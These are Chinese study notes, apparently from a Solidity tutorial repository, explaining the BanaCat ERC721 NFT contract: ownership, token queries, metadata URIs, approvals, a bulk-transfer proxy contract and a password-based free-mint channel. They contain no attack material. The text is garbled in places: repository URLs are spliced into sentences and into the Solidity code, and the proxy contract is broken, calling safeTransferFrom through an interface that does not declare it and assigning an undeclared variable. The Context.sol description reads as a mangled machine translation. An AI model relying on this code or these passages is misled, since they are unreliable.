`owner（）`：当前合约的拥有者，默认是最初发布合约的地址，后期也可以将合约的拥有权移交给被人。有些NFT项目所属权移交给社区，由社区共同打理，也是`DAO`的一处应用场景。

![Untitled](./img/29.png)

openzeppelin 关于`Ownable.sol` 实现

[openzeppelin-contracts/Ownable.sol at master · OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol)

归属权的转移函数；

关于归属权转移还有一个应用场景：如果项目的owner mint本项目的NFT是免费的，同时项目方想向自己的另一个地址发送大量NFT，一种比较节约成本的做法是可以先将合约的归属权移交给自己的目标地址，然后批量mint一定数量NFT之后再将归属权转移回来。

![Untitled](./img/30.png)

---

`ownerOf（）`：查看某个NFT的归属地址。

![Untitled](./img/31.png)

`_owners` 建立NFT tokenID与address之间的映射，函数`ownerOf()` 在判断返回地址的合法化之后将对应的地址返回。

![Untitled](./img/32.png)

![Untitled](./img/33.png)

---

`supportsInterface（）`：ERC165标准的核心功能，用于检测合约是否实现了特定的接口。以ERC721的 `InterfaceID “0x80ac58cd”`为例。

对ERC165不太了解的同学可以看这篇文章：

[GitHub -

LIPUU/1wallet](https://github.com/LIPUU/1wallet#4-erc165%E4%B8%8Eerc721)

![Untitled](./img/34.png)

![Untitled](./img/35.png)

---

`tokenByIndex（）`：返回索引值在`_allTokens` 数组中对应的`tokenID`，以便于后续的查找。

`ERC721` 的`ownerOf（）`函数可以返回某个`tokenID`所属的`address`，`balanceOf()`可以知道某个`address`下有几个NFT，但是怎么查某个`address`下面都有哪些`tokenID`呢？`ERC721Enumerable` 扩展库的提出就是用来解决这个问题的。

[openzeppelin-contracts/ERC721Enumerable.sol at master · OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/ERC721Enumerable.sol)

![Untitled](./img/36.png)

![Untitled](./img/37.png)

![Untitled](./img/38.png)

---

`tokenOfOwnerByIndex（）`：返回输入的地址参数`owner`在索引`index`处的`tokenID`。

怎么理解这个功能呢？一个`ERC721`标准的NFT只能被一个地址所持有，但是一个地址却可以同时持有多个NFT。标准的`ERC721`合约只提供了查询地址下有多少个NFT的接口`balanceOf（）`但是没有提供相关的接口规范来查询当前地址下有哪些tokens，`tokenOfOwnerByIndex（）`为这个需求提供了自己的功能，具体过程会在下面的`walletOfOwner()`中展开讲解。

举个例子：`walletOfOwner()`返回`_owner` 地址下的NFT `tokenID`列表[12, 11, 1199, 10, 521,

1081]，因为数组索引（index）是从0开始的，所以查询0号位置查出来的就是`tokenID`为`12`的NFT。

![Untitled](./img/39.png)

![Untitled](./img/40.png)

![Untitled](./img/41.png)

![Untitled](./img/42.png)

---

`totalSupply（）`：显示目前已被`mint`且可被追踪到的NFT数量

![Untitled](./img/43.png)

![Untitled](./img/44.png)

---

`walletOfOwner()`:返回当前地址中所有的tokenID。

原理：

①建立一个*(地址 => ( NFT索引 => NFT TokenID )) 的二级映射表`_ownedTokens`，将某个地址下的所有NFT编号记录下来；（个人觉得也可以* 建立一个*(地址 => address[] )的映射表实现同样的功能，但后者会随着NFT的交易时频繁操作数组空间而增加gas消耗）* 

②`walletOfOwner（）`函数首先查询当前地址有多少个NFT，并以此为长度建立一个临时数组`tokenIds`，之后调用`tokenOfOwnerByIndex(_owner, i)）`；

③`tokenOfOwnerByIndex(_owner,

i)）`返回当前地址下，索引为`i`的位置对应的NFT编号，并将他们记录临时数组`tokenIds`中；

④之后在`walletOfOwner（）`将数组`tokenIds`的数据返回；

![Untitled](./img/45.png)

![Untitled](./img/46.png)

![Untitled](./img/47.png)

---

`tokenURI（）`：返回某个输入`tokenID`对应的`tokenURI`。

![Untitled](./img/48.png)

怎么理解这个函数呢？还要从NFT元文件的存储方式说起。

当前技术条件下，直接将NFT图像本身以及对应的json属性数据直接存放在寸土寸金的区块链上是不现实的（区块链的共识机制会在每一个全结点上备份全网的区块数据，1M的文件在100个结点上备份就会产生100M的数据量，其中99M都是冗余数据，这样不仅造成存储空间的浪费，还会极大增加NFT的发行成本）。为了响应“去中心化”发展趋势，目前主流的NFTMetadata存储方案都是将NFT源文件存放在[IPFS网络中](https://docs.ipfs.io/concepts/what-is-ipfs/)。

关于Metadata可以查看以下链接：

[Metadata Standards](https://docs.opensea.io/docs/metadata-standards)

以#1623号雷达猫的Metadata文件举例说明：

![Untitled](./img/NFT%231623.png)

```json
{
  "name": "BanaCat #1623",  // NFT 的名字
    // 项目描述
  "description": "Pixel kitty with different styles, if you're tired of those 'bored' Apes, come and take a look at these cute cats~ Maybe they are the most suitable NFT for avatar and your honey may love them too. Let's explore what the next kitty will wear on his/her head!",
  "image":

"ipfs://QmYr9NUaom7uijzTdsjvQ57hRNV4gttnhXF7Sgvt36cUUh/1623.png",  // 图像在IPFS网络的存储位置，类似于HTTP协议中的URL
  "dna": "b39631c09c646593738fa44a1d8665cdb74faf08",  // 以NFT的attributes为输入经过hash算法计算出来的数据摘要，以其为依据保证不会有重复的图片文件
  "edition": 1623,  // 可以理解成ID号
  "date": 1643206138987,  // 生成日期
  "attributes": [  //图片的属性
    {
      "trait_type": "background",  // 背景是橙色
      "value": "Orange"
    },
    {
      "trait_type": "head",  // 灰色的头
      "value": "Gray"
    },
    {
      "trait_type": "blush",  // 粉色的腮红
      "value": "Pink"
    },
    {
      "trait_type": "nose",  // 褐色的鼻子
      "value": "Brown"
    },
    {
      "trait_type": "mouse",  // 微笑的嘴巴
      "value": "Smile"
    },
    {
      "trait_type": "eyes",  //  blingbling的眼睛
      "value": "Blingbling"
    },
    {
      "trait_type": "hat",  // 帽子为雷达（为了致敬西电的雷达通信工程）
      "value": "Radar"
    }
  ],
  "Author": "shuxun"
}

每一个NFT都会有一个与之对应的JSON文件，所有的文件挡在一个文件夹传到IPFS网络中会生成一个文件夹的CID地址，这个地址就是合约中的"baseURI"，项目中每个NFT对应的文件地址都是由这个基地址拼接起来的。
```

`tokenURI（）`：就是将`baseURI`+`tokenID`+文件后缀 拼接起来拿到`tokenID`对应的NFT在IPFS中的存贮地址。

![Untitled](./img/49.png)

![Untitled](./img/50.png)

这篇文章主要介绍了猫猫合约中的“读”函数，下一篇我们会介绍合约中的“写”函数。

# BanaCat NFT Contract（2/3）

项目链接：[BanaCato_O - Collection | OpenSea](https://opensea.io/collection/banacat-v2)

合约源码地址：https://polygonscan.com/address/0xd2bc5c3990c06ccd26f10a3e9d93b19450136c8d#code

# 

---

# “写”函数会改变合约的状态，每一笔交易都会消耗一定的gas。

因为要用自己的私钥为每一笔交易签名，所以在与合约交互之前，要先链接上自己的钱包。

![](./img/Untitled.png)

---

`approve（）`：将单个NFT的授权给某个operator，让其可以代理NFT的拥有者进行转出操作，后面会有实例说明。

`_tokenApprovals` 是一个`tokenID`到 `operator`地址的映射表，`approve（）`函数正是以此为依据将NFT授权给某个地址。

---

`mint()`:

https://github.com/AmazingAng/WTF-Solidity/blob/56a9e558cae6c53108f96ba180da9a41d7822159/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721实例分析2_ShuxunOo/BanaCat NFT Contract_02.md

NFT铸造函数，NFT项目在宣发阶段，无论是白名单铸造还是公售阶段，都是直接或者间接调用`mint（）`函数。币圈中“合约层铸造”就是指跳过项目方官网的铸造流程，直接在区块链浏览器或者通过本地RPC调用的方式直接与合约交互铸造NFT。特别重要的函数，这是NFT发行的起点。

第一个参数`mint`是指要支付的代币总量；

`_mintAmount()`:一次性铸造NFT的数量；

根据有无白名单，铸造的单价会有不同，但是 `总价 = 单价 * 数量`，合约会从铸造者账户中扣除总价的代币（gas另算）；

---

`mint（）`函数中会对`_mintAmount`的数值做合法性检测，要求`_mintAmount`大于0且不大于要求的单次最大铸造量`maxMintAmount`；

同时要求本次铸造的数量`_mintAmount`加上已经铸造的数量`totalsupply`不大于合约NFT的最大供应量`maxSupply`；

之后会对铸造者随交易发送来的代币总数不小于NFT铸造总价；

最后会用循环调用`_safeMint()`函数挨个给用户铸造NFT。（这种循环调用的方式很容易理解，但是单次批量铸造成本会比较高，`Azuki` 提出的ERC721A协议在单次批量铸造的时候会节省gas，这个我们后面再说）

`_safeMint()` 函数之所以“safe”，是因为它会对铸造者的身份做审查，要是铸造者是个合约，则要求这个合约必须实现`IERC721Receiver`接口，关于`IERC721Receiver`可以参考A大的文章：

[WTF Solidity极简入门 ERC721专题：1. ERC721相关库](https://mirror.xyz/ninjak.eth/PAsIFLAmEoMufZsXlX0NWsVF8DHpHz3OrYlooosy9Ho)

有一个小细节：`_checkOn721Received()`的第一个参数 `from` 在 _*safeMint() 调用的时候传入的是 `address（0）`即

`0x0000000000000000000000000000000000000000`，意思是代表这个交NFT是从0地址发来的，后面*`_mint()`函数里触发`Transfer`事件，用来记录一个NFT从`from` 地址转移到 `to` 地址，这里的 `from`也是*`address（0）`，虽然所有的NFT都是从合约中铸造的，但是NFT最初的来源地址却不是合约地址，对于这一现象，我的理解是 烧掉`burn（）`一个NFT其实就是将其发送到`0地址`，代表一个NFT被销毁，从此失去流动性，可能这也包含着着“从哪里来，就到哪里去”的哲理吧。*

在`_mint()`函数中触发事件`Transfer（）`在区块链上生成一条日志文件

---

`pause()`:*设置是否暂停mint活动

true表示暂停，flase表示可以mint*

---

`renounceOwnership()`：项目方放弃合约的控制权，将合约的`owner`设置为`address（0）`，意味着再也没有谁能控制合约，就像宇宙中的尘埃。

如果合约的余额再也无法取出。高危函数（危险等级：最高⚠︎⚠︎⚠︎⚠︎⚠︎）

---

`safeTransferFrom()`:NFT的转移函数，将一个编号为输入`tokenID`的NFT从`from`地址转移到`to`地址。

---

`safeTransferFrom()`:NFT的转移函数，将一个编号为输入`tokenID`的NFT从`from`地址转移到`to`地址，只不多多了一些附加性质的data，可以做一些说明性的活动（比如往区块链上写一些永久存档的文字）。

名字为什么叫`safeTransferFrom`而不是`safeTransfer`？看似只是名字少了一个from，其实是涉及到代理权的问题。

ERC721合约中一共有两类角色可以将NFT转移走：一是NFT的owner，二是当前NFT的授权代理。函数名称中的“from“ 就是代表从哪个账户中将NFT转移走，很多时候转移走NFT的地址不一定是NFT的实际拥有者。我们接下来举个小例子说明这个现象。

[_safeTransferFrom()使用代理转移NFT

(1)](BanaCat%20NFT%20Contract%EF%BC%882%203%EF%BC%89%202fed2b20e00b4af9acf6104983616ced/_safeTransferFrom()%E4%BD%BF%E7%94%A8%E4%BB%A3%E7%90%86%E8%BD%AC%E7%A7%BBNFT%20(1)%209ed361c7830b4b1a8375000b5bedcd07.md)

但是操作的目的是啥呢？

我个人的理解是，NFT从出生起就带有金融属性，授权操作给NFT的质押提供了可行方法，授权者可以通过质押拿到贷款，放贷机构可以拿着质押得到的NFT发行NFT衍生金融资产……NFT的应用空间远超我的想象！

---

`setApprovalForAll（）`：将`owner`地址下的所有NFT一次性授权给`operator`

高危函数（危险等级：⚠︎⚠︎⚠︎⚠︎）

`_operatorApprovals` 是一个（ ownerAddress ⇒（ operatorAddress ⇒

bool））的二级映射表，`setApprovalForAll（）`通过修改`bool`值来设定是否将自己的NFT全部授权给`operator`

[setApprovalForAll（）的实例](https://github.com/ShuxunoO/WTFSolidity/blob/main/Topics/ERC721%E6%8E%A5%E5%8F%A3%E8%A7%A3%E6%9E%90/Notes_02_%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90_ShuxunOo/setApprovalForAll%EF%BC%88%EF%BC%89%E7%9A%84%E5%AE%9E%E4%BE%8B.md)

---

`setBaseExtension（）`：设置`Metadata`文件的扩展名，一般不用这个函数，扩展名默认为`“json”`

---

`setBaseURI（）`：设置NFT的`BaseURI`，高危函数（危险等级：⚠︎⚠︎⚠︎）一般只用作项目开图，开图之后不再使用。

---

`setCost()`:*设置公售NFT时的`mint`价格*

---

`transferFrom（）：`NFT的转移函数，将一个编号为输入`tokenID`的NFT从`from`地址转移到`to`地址。不会对`to`地址做风险检测，所以也不在”safe“

---

`transferOwnership（）`：将合约的归属权移交给新地址。

`Ownable.sol`扩展文件中的功能函数，详情看以下链接：

[openzeppelin-contracts/Ownable.sol

at master · OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol)

---

`withdraw（）`：将合约中的余额转给合约的`owner`。估计绝大多数的项目方都在等这最后一下吧。

下一篇会介绍BanaCatNFT合约中设计的一种密码白名单机制

# _safeTransferFrom()使用代理转移NFT (1)

地址`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`下有`tokenID`为`[951, 952]`

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_.png)

地址`0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f`没有NFT

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_1.png)

现在将`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`地址下的`951`号NFT授权给`0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f`

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_2.png)

交易详情：

[Polygon Transaction Hash (Txhash) Details |

https://github.com/AmazingAng/WTF-Solidity/blob/56a9e558cae6c53108f96ba180da9a41d7822159/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721实例分析2_ShuxunOo/_safeTransferFrom()使用代理转移NFT .md

PolygonScan](https://polygonscan.com/tx/0x58873c6278ed0f7448afcc8a4f8225c7912de7c8b8497048fcfd8f3cd70f0cc4)

此时再次检查，地址`0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f`没有依旧NFT

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_3.png)

951号NFT的归属权依旧属于地址`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_4.png)

但是我们调用getApprove（）函数发现，951号NFT已经授权给了`0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f`

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_5.png)

接下来我们使用`0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f`将951号NFT从`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`转移给地址`0x8600C2E501f145C2EaA1fC2a46334Fe7B29493c1`

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_6.png)

`交易明细：`

PolygonScan](https://polygonscan.com/tx/0x042fa2f76ba9716255f2c399e3abf881978a15c7b27f925fe2373c4eadce71a5)

地址`0x8600C2E501f145C2EaA1fC2a46334Fe7B29493c1`已经有了951号NFT

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_7.png)

`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`此时只剩952号NFT

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_8.png)

## 一个小问题：

951号NFT从原地址`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`转移给地址`0x8600C2E501f145C2EaA1fC2a46334Fe7B29493c1`，那么之前`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`授权给地址`0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f`的代理权还在吗？

直观来讲，随着`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`对951号NFT归属权的丧失，之前`0xb9016E740176B54755cBAad721dCDD6a65aB40Fd`的所有关于归属权的衍生操作都会失效，正所谓是人走茶凉，如果代理权还在的话，`0x0FD745DB2fd13f1598c65fa3d32696C1fF6DA23f`依旧可以将951号NFT偷偷转移给别人，这显然是不符合常理的，接下来我们验证一下自己的猜想。

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_9.png)

951号NFT的授权地址变为0，之前的授权自动取消，其实这一切都是开发者实现考虑好的。

函数之间的调用关系：`safeTransferFrom（）`调用 `safeTransferFrom（）`（函数重名，参数不同）

`调用_transfer（）`，在`_transfer（）`中取消更改授权操作。

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_10.png)

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_11.png)

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_12.png)

在`_transfer（）`中取消更改授权操作。

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_13.png)

[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0x41de905938fc10782b4269dc4ad065be2a1391caa12f8afabd92902b4a2b4835)

![Untitled](./img/_safeTransferFrom()使用代理转移NFT_14.png)

# setApprovalForAll（）的实例

ERC721 标准合约是没有提供批量转移NFT到不同的地址中的接口，如果项目方想给白名单用户空投，代理合约配合setApprovalForAll（）函数提供了一种解决方案。

关于接口合约的基础介绍：

[Solidity8.0全面精通-42-接口合约_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1fS4y127BX/?spm_id_from=333.788&vd_source=8c3c6813b187818a0ba1a67277a795d2)

关于空投的原理可以参考以下两个视频

[https://www.youtube.com/watch?v=-0nU2usv4S4&t=2s](https://www.youtube.com/watch?v=-0nU2usv4S4&t=2s)

[https://www.youtube.com/watch?v=M7ThuAS47Cc](https://www.youtube.com/watch?v=M7ThuAS47Cc)

空投用到的合约源文件

/**
 *Submitted for verification at polygonscan.com on 2022-06-23
*/

interface BC_Interface {

    function symbol() external returns (string memory);
}

contract BanaCatBot {
    BC_Interface public BanaCat;
    // event safeTransferFrom(address from,address to, uint256 tokenId);

    // 给目标合约赋值
    function setInterfaceContract(BC_Interface _addr) external{
        BanaCat = _addr;
    }

// 将NFT列表批量转发给地址列表
    function

https://github.com/AmazingAng/WTF-Solidity/blob/56a9e558cae6c53108f96ba180da9a41d7822159/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721实例分析2_ShuxunOo/setApprovalForAll（）的实例.md

bulkTransfer(address[] calldata addrList, uint[] calldata nftlist) external {
        require(addrList.length == nftlist.length, "length doesn't match");
        for (uint i = 0; i < addrList.length; i++){
            BanaCat.safeTransferFrom(msg.sender, addrList[i], nftlist[i]);
            // emit safeTransferFrom(msg.sender, addrList[i], nftlist[i]);
        }
    }
    function showSymbol() external{
        symbol = BanaCat.symbol();
    }

}
```

合约也已经开源到了Polygon网络上，可以直接拿来用。

[https://polygonscan.com/address/0x2A6dFC4C69a716b7F02b55CE76432226AefCB193#code](https://polygonscan.com/address/0x2A6dFC4C69a716b7F02b55CE76432226AefCB193#code)

# 使用方法

**注：以下过程中BanaCatNFT contract 均可以替换成自己想要批量转移NFT的目标主合约**

1. **在主合约中调用`setApprovalForAll（）`给提供批量转发NFT功能的代理合约授权；**

这一步是在NFT主合约中完成的，将自己地址下的所有NFT授权给代理合约，让它具备转发的资格。

[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0x92342888a4ecbe3775fe920c7efc9cab1eb5befe643c955d9a7bc786cc6e29a5)

2. **在代理合约中调用`setInterfaceContract（）`函数将BanaCatNFT contract 的合约地址设置为代理合约的目标接口**

这一步的目的是让代理合约知道自己要从哪个NFT主合约中转移NFT

PolygonScan](https://polygonscan.com/tx/0x56f289faaab56c3cb1ac1401f970a23c9f79d0c193d0e76d9d3e049494c37f03#eventlog)

1. **构建`NFTList`，`addressList`发起交易**
   
    ![Untitled](./img/setApprovalForAll（）的实例.png)

这里有个小问题需要注意一下，**`bulkTransfer（）`**函数的两个参数会因为函数的执行上下文的不容儿有所差别

1. 通过Remix部署，并在Remix后台发送交易，参数形式为：

addrList：[”address1”, “address2”, ……]（地址用双引号括起来，地址和地址之间用半角逗号分隔）例如

["0x204Eb0dDD556Fc33805A53BA29572B349Ea3c288","0xcd06Db13ACff23EEa734f771ed52cE59642E52b1",……]
```

nftlist：[tokenID1,tokenID2,……]（tokenID之间通过半角逗号分隔）

[1,2,3,……]
```

1. 部署之后通过本地RPC调用发起交易：同上
2. 在polyscan浏览器发起交易：

addrList：[address1, address2, ……]（地址不用双引号，地址和地址之间用半角逗号分隔）例如

[0x204Eb0dDD556Fc33805A53BA29572B349Ea3c288,0xcd06Db13ACff23EEa734f771ed52cE59642E52b1,……]
```

nftlist：[tokenID1,tokenID2,……]（tokenID之间通过半角逗号分隔，‼️**tokenID之间不能有空格‼️**）

```

最终发起的交易是长这样的

# BanaCat NFT Contract（3/3）

---

本文主要讲解BanaCatNFT内置的特殊的mint通道。发布BanaCatNFT之前因为没有进行前期的宣传以及收集白名单，但为了让项目尽快上线同时减少用户的获取门槛，不同于传统的白名列表或者默克尔树方式，一期的BanaCatNFT采用了输入密码进行mint的方式，接下来我们一起分析这种特殊的freeMint方案的利弊。

整体思路：设置长度为5的密码数组，分别记录5个不同的密码用以对应不用的mint场景，每个密码都可以设置对应可以mint的NFT数量，用户得知密码之后，在特殊通道输入密码之后，如果密码比对正确，则跳过扣费步骤，直接分配NFT给用户。

# 设置密码

定义一种关于密码信息的数据结构，然后定义一个存储密码信息的数组。

`showSecretattributes()`：_ID对应密码在数组中的索引，secret 对应密码本身，supplyAmount

https://github.com/AmazingAng/WTF-Solidity/blob/56a9e558cae6c53108f96ba180da9a41d7822159/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721实例分析3_ShuxunOo/BanaCat NFT Contract_03.md

对应本次设置的密码可以mintNFT的数量。

注：要想改变同一个数组索引中不同的密码属性时，要先前一个密码中剩余的NFT数量。

`setMaxTokenAmountForEachAddress（）`：设置在使用特殊通道mint的时候，单个地址最多可以mint多少个NFT。

# 检查密码

`checkSecret（）`：循环比较userInput 是否和数组中的已设置的密码对应。如果出现比对成功的密码，则跳出循环。

`isEqual()`： 会对比输入的两个字符串是否相同，因为solidity语法中没有直接比较两个字符串是否相同的语法，这里通过比较字符串的hash值来间接比对字符串是否相同.

# 特殊通道mint

`specialMint_tunnel()`:使用上面验证函数对用户输入密码进行审查，审查通过之后分配NFT给当前账户

通过特护通道mint交易举例

[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0xc50d4022ff5a9e3b906ede41cf014a55bfe93d901711e3514f844778d31e9abd)

# 查看密码属性

`showSecretattributes（）`：根据输入的密码编号查看密码，onlyowner可看（这里我给自己挖了一个坑）

`getRemainingtokenAmount（）`：根据密码编号查看单签密码还剩余多少个NFT可以mint。

给自己挖的坑：`showSecretattributes（）` ，  `getRemainingtokenAmount（）`都是view（只读）方法，设定为 onlyOwner可读，部署过之后在remix后台可读，但是在polyscan浏览器中，这两个方法不可用。

#

密码白名单机制的利弊

优点：不需要收集白名单，知道密码的人都可以免费mint，可以用于临时性的活动

缺点：目前来看，缺点会更多

1. 凡是拿到密码的人都可以mint，不管你是谁，当一个知道密码的人传开密码之后场面会变得不可控，除非是项目方有意而为之；
2. 单个地址mint的数量限制“防君子不防小人”，只需要两个地址就可以把项目方薅爆；
3. 设置的密码会以明文的形式显示在交易记录中，导致密码只能临时设置；

# 改进方案：将Merkle树验证方案和密码机制结合起来

- Merkle树的白名单验证机制是把白名单中的地址两两hash最终生成一个树根，只将这个树根存到合约中，区别于以往将白名单整个存到链上，这种验证机制可以极大节约发行成本。将Merkle树验证方案和密码机制结合起来，我能想到的一种解决方案是：实现设定一定数量的密码，替换成白名单中的地址计算Merkle树根，然后将树根存入合约中，发放白名单的时候可以把这些密码以某种媒介发放到用户手中。
- 用映射表取代数组，在检测密码是否合法的时候不用循环遍历数组，从而节约gas。

# 应用场景：刮刮乐彩票与NFT的融合应用

# ERC721

[**ERC-721**](https://eips.ethereum.org/EIPS/eip-721) 提供了代表单一资产的唯一标示符到地址的映射，由 Dapper labs Dieter Shirley 创造出来并由 CryptoKitties 带向市场。

ERC721合约的主要构成

- 3个库合约：`Address.sol`, `Context.sol`和`Strings.sol`
- 3个接口合约：`IERC721.sol`, `IERC721Receiver.sol`, `IERC721Metadata.sol`
- 1个`EIP165`合约：`ERC165.sol`

本文内容参照了A大关于Solidity的学习笔记文章，教程内容由社区成员创作完善而成，每个知识点后面都结合具体的例子，Github1.9K⭐︎。目前还在不断完善中，欢迎大家一起完善。文章仓库链接：

https://github.com/AmazingAng/WTFSolidity

同时也参照了@崔棉大师关于Solidity的教学资源，B站链接：

[崔棉大师的个人空间_哔哩哔哩_Bilibili](https://space.bilibili.com/286084162/?spm_id_from=333.999.0.0)

**ERC-721的依赖项**

|                     |      |                                                                                                 |                                                                                                                 |
| ------------------- | ---- | ----------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| 合约名字                | 合约类型 | 链接                                                                                              | 描述                                                                                                              |
| Address.sol         | 标准库  | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol  | 与地址类型相关的函数集合，提供地址信息的确认与权限判断功能。                                                                                  |
| Context.sol         | 标准库  |

https://github.com/AmazingAng/WTF-Solidity/blob/56a9e558cae6c53108f96ba180da9a41d7822159/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721实例分析总结_ShuxunOo/ERC721 综述.md

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol  | 提供有关当前执行上下文的信息，包括事务的发送方及其数据。而这些通常可以通过味精获得。发送者和味精。数据，它们不应该以这样一种直接的方式被访问，因为在处理元事务时，发送和支付执行的帐户可能不是实际的发送者(就应用程序而言)。 |
| Strings.sol         | 标准库  | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol  | 提供基础的字符串操作。                                                                                                     |
| IERC721.sol         | 接口定义 | https://eips.ethereum.org/EIPS/eip-721                                                          | 主合约                                                                                                             |
| IERC721Receiver.sol | 接口   | https://www.notion.so/ERC-721-4562e8d3cd3447fcbbb136f8ea4ff81b#a44b8a6172be44108c50c4304d11bd0f | 接收NFT的目标合约必须实现这个接口                                                                                              |
| IERC721Metadata.sol | 接口   | https://www.notion.so/ERC-721-4562e8d3cd3447fcbbb136f8ea4ff81b#9558ccc545754ad5a7412c3d8138e5ad | 关于NFT源数据的说明，tokenURI就是在这里定义的                                                                                    |
| EIP165              | 接口   | https://eips.ethereum.org/EIPS/eip-165                                                          | 创建一个标准方法来发布和检测智能合约实现的接口。                                                                                        |

## 合约构成图

![Untitled](./img/2-721结构.jpeg)

**知识补充**：关于Doxygen Tags 的介绍：

> Doxygen能将程序中的特定批注转换成为说明文件。它可以依据程序本身的结构，将程序中按规范注释的批注经过处理生成一个纯粹的参考手册，通过提取代码结构或借助自动生成的包含依赖图（include dependency graphs）、继承图（inheritance diagram）以及协作图（collaboration diagram）来可视化文档之间的关系，

Doxygen生成的帮助文档的格式可以是CHM、RTF、PostScript、PDF、HTML等。
> 详细介绍：[Doxygen快速入门 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/100223113)

**Solidity语法习惯中的Doxygen Tags**

| Tag     | 描述      | 使用Tag时候的上下文 |
| ------- | ------- | ----------- |
| @title  | 合约的标题   | 合约、接口       |
| @author | 作者姓名    | 合约、接口、函数    |
| @notice | 功能性介绍   | 合约、接口、函数    |
| @dev    | 一些额外的细节 | 合约、接口、函数    |
| @param  | 参数列表    | 函数          |
| @return | 函数返回值   | 函数          |

## ERC721标准库合约

pragma solidity ^0.8.10;

/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
///  Note: the ERC-165 identifier for this interface is 0x80ac58cd.

    /// @dev 当NFT的所属权发生变化的时候会触发本事件(一般是指用户X调用transfer函数把他的NFT转给了别人。
    ///   也包括铸造(mint `from` == 0)和销毁（destroyed`to` == 0).记录代币的发出地址from，接收地址to和tokenid。
    ///   Exception: 在合约创建期间，任意数量的 NFT 可以在不发出 Transfer 的情况下创建和分配。
    event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);

    /// @dev 当NFT的授权地址发生更改或再次确认的时候除法本函数。 零地址（0x0000000000000000000000000000000000000000）表示没有批准的地址。
    ///   当一个 Transfer事件发出时，这也表明批准了该 NFT（如果有）的地址被重置为无。
    ///   记录approve的发出地址owner，被授权地址approved和tokenid。
   
   event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);

    /// @dev 当一个第三方管理者（operator）被在批量授权或者被在批量取消授权的时候触发本事件
    ///   录approve的发出地址owner，被授权地址operator和是否被授权approved

    /// @notice 查询输入地址下的所有NFT数量
    /// @dev 分配给零地址的NFT被认为是无效的，查询0地址时会抛出异常。
    /// @param _owner 要查询NFT数量的地址
    /// @return 返回值是当前地址所持有本系列NFT的数量

    /// @notice 找到当前TokenIDNFT的持有者
    /// @dev 分配给零地址的 NFT 被认为是无效的，查询的时候抛出异常。
    /// @param _tokenId NFT的编号
    /// @return 返回当前NFT的持有地址

    /// @notice 将当前NFT的所属权从地址`_from`发送到目标地址`_to`
    /// @dev 当`msg.sender`不是当前NFT的拥有者 或者是没被授权的第三方管理账户时将会抛出异常; 如果目标地址`_to`是零号地址则抛出异常；当NFT的`_tokenId`非法时抛出异常;
    ///   发送的时候会检查,目标地址`_to`是不是一个合约地址，如果是则会调用 ERC721的接收接口'onERC721Received'
    ///   如果返回值不是`bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`则会抛出异常
    ///   这个我们后续会结合源码再具体分析
    /// @param _from 当前NFT的拥有者
    /// @param _to 将要把当前NFT发送出去的目标接收者
    /// @param _tokenId

要发送的NFT编号
    /// @param data 一些额外的说明

    /// @dev 和上一个 safeTransferFrom()函数的功能相同，只不过不再有data作为额外的说明
    /// @param _tokenId 要发送的NFT编号

    /// @notice 将当前NFT的所属权从地址`_from`发送到目标地址`_to`，因为方法内部不检查对方是否实现ERC721的接收接口
    ///   方法的调用者需要自己确认目标地址`_to`有能力接收NFT，否则会造成永久损失
    /// @dev 当`msg.sender`不是当前NFT的拥有者 或者是没被授权的第三方管理账户时将会抛出异常; 如果目标地址`_to`是零号地址则抛出异常；当NFT的`_tokenId`非法时抛出异常

    /// @notice 更改或重申 NFT 的授权地址
